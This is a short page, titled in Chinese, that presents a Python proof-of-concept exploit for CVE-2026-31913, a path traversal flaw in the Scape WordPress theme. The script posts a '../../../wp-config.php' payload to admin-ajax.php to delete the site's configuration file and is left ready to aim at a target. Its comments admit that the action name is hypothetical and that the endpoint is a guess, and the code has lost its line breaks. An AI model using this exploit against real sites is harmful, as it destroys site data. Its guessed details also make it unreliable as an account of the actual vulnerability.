CVE-2026-31913 Scape主题路径遍历漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-31913: Path Traversal leading to Arbitrary File Deletion. Target: Whitebox-Studio Scape WordPress Theme < 1.5.16 """ # The vulnerable endpoint might be admin-ajax.php, common in plugin/theme vulns url = f"{target_url}/wp-admin/admin-ajax.php" # Payload aiming to delete wp-config.php using path traversal # Note: The specific action parameter 'scape_delete_file' is hypothetical based on the vulnerability nature payload = { 'action': 'scape_delete_file', 'file': '../../../wp-config.php' } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {url}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)